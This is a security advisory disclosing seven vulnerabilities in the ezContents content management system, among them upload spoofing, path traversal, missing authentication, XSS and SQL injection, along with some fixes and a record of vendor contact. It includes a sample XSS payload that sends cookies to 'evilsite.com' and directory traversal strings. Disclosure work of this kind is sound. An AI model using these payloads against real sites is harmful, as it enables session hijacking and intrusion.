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From: ulfh at update.uu.se (Ulf Harnhammar)
Subject: ezContents multiple vulnerabilities

ezContents multiple vulnerabilities


PROGRAM: ezContents
VENDOR: Marek Lyczba et al. <info@...ualshapers.com>
HOMEPAGE: http://www.visualshapers.com/
VULNERABLE VERSIONS: 1.40, 1.41, possibly others as well
NOT VULNERABLE VERSIONS: none (one hole fixed in 1.41)
LOGIN REQUIRED: yes (some issues), no (some issues)
SEVERITY: high


DESCRIPTION:

"ezContents is a Web site content management system based on
PHP and MySQL. Features include maintaining menus and sub-menus,
adding authors that can write contents, permissions, work flow, and
simple settings to customise layout and the look of the site. It is
possible to integrate external scripts, and frames as well frameless
Web site designs are supported."

(direct quote from the program's project page at Freshmeat)

According to the downloaded package, ezContents is released under the
terms of the GNU General Public License. According to the program's
homepage, it is released under the GNU General Public License with
some additional clauses, one which states that you have to ask
permission before using the program commercially. (Does the GPL
really allow you to add additional clauses?)


SECURITY HOLES:

1) The image file upload function allows uploads to occur, without
checking if the four global variables with information about an
upload (file, file_name, file_size and file_type) really were set
by uploading a file or if they were normal POST data. This means
that it can be fooled into treating any file that the web server
can read (like /etc/passwd) as the uploaded file.

You fix this by using PHP's is_uploaded_file() function, which
checks if a real upload has taken place.

This issue was corrected in ezContents 1.41.

2) Maintain Images:Add New:Create Subdirectory can create directories
outside of the ezContents directory, by using directory names like
"../../../../../../../tmp/hellothere".

3) The administrative scripts createdir.php, removedir.php and
uploadfile.php don't check if you're logged in or not. This means
that an attacker can create/remove directories and upload files to
the server by POSTing data to the right script with no need for a
username or a password.

4) Maintain Images' file listing can be fooled into listing
directories outside of the ezContents directory, if you use directory
names like "../../../../../usr/bin". It only lists certain types
of files, though.

5) The VerifyLogin() function redirects the web browser, if the
login fails. It doesn't stop the program's execution. This means
that the script still runs, just that you don't see it. Equipped
with this knowledge, an attacker without a username can edit lots of
different information by simply POSTing data to the right script, and
view lots of different information equipped with a tool like netcat.

6) ezContents has got some Cross-Site Scripting issues, in the
diary and other places. One user can enter some JavaScript code,
which will be executed when another user looks at that entry. This
can be used for stealing someone's cookies:

<script>self.location.href="http://evilsite.com/evil?"+
escape(document.cookie)</script>

You fix this with the htmlspecialchars() function.

7) Finally, there are some SQL Injection issues. They are of the
simple type where you don't really have to inject anything, because
the programmer didn't put apostrophes around the input variables
in the SQL statements.


COMMUNICATION WITH VENDOR:

The vendor was contacted on the 6th of June and on the 5th of July.
They are working on fixing these holes, but so far, only issue 1
above has been fixed.


// Ulf Harnhammar
ulfh@...ate.uu.se


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